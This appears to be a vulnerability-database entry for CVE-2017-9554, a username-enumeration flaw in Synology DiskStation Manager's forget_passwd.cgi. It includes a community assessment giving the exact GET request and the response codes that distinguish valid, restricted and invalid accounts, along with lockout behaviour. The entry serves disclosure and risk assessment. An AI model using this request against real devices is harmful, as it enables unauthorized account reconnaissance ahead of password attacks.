CVE-2017-9554

An information exposure vulnerability in forget_passwd.cgi in Synology DiskStation Manager (DSM) before 6.1.3-15152 allows remote attackers to enumerate valid usernames via unspecified vectors.

Recent assessments:

h00die at May 21, 2020 2:01pm UTC reported:

Vulnerability is trivial to exploit. Send a GET request to /webman/forget_passwd.cgi?user=<username> and check the response.
A user who can login will give:

{
   "info" : "admin group",
   "msg" : 1
}

A user who can’t login will give:

{
   "info" : "no mail or no priviege",
   "msg" : 2
}

An invalid user will give:

{
   "info" : "get user info failed",
   "msg" : 4
}

msg 3 means either the feature is disabled, or patched.
msg 5 means you’re locked out.

Default lockout policy is 10 logins in 5min. Each username enumeration counts as a login. Lockout is permanent by default.

Assessed Attacker Value: 1
Assessed Attacker Value: 1Assessed Attacker Value: 5